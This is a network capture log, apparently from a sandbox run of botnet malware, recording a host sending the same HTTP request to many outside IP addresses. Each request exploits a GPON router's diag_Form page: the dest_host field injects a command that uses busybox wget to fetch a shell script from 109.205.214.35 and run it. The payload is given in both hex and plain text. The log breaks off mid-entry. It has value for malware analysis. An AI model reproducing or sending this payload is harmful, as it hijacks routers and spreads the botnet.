Mar 21, 2024 05:23:17.716733932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.13	52816	42.36.219.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716737986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.13	51202	42.204.244.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716758013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.13	60854	5.92.28.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716778040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.13	46714	109.11.164.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716792107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.13	54782	42.169.178.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716820002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.13	56186	118.252.177.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716828108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.13	38338	5.190.224.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716829062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.13	53040	42.42.6.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716840029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.13	33072	42.129.132.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716856003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.13	58272	118.186.102.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716862917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.13	46864	212.223.61.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716886997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.13	55802	118.162.241.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716914892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.13	55518	42.240.212.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716914892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.13	55622	212.201.4.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716943979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.13	56386	212.75.36.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716960907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.13	37106	42.241.48.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716975927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.13	57590	118.77.240.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.716995001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.13	52278	5.243.44.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717005968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.13	57664	109.90.124.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717022896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.13	58566	5.18.71.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717024088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.13	57874	212.98.100.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717034101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.13	38092	42.116.11.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717041969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.13	33902	42.240.167.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717072010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.13	53776	109.139.255.203	443

Timestamp	Bytes transferred	Direction	Data
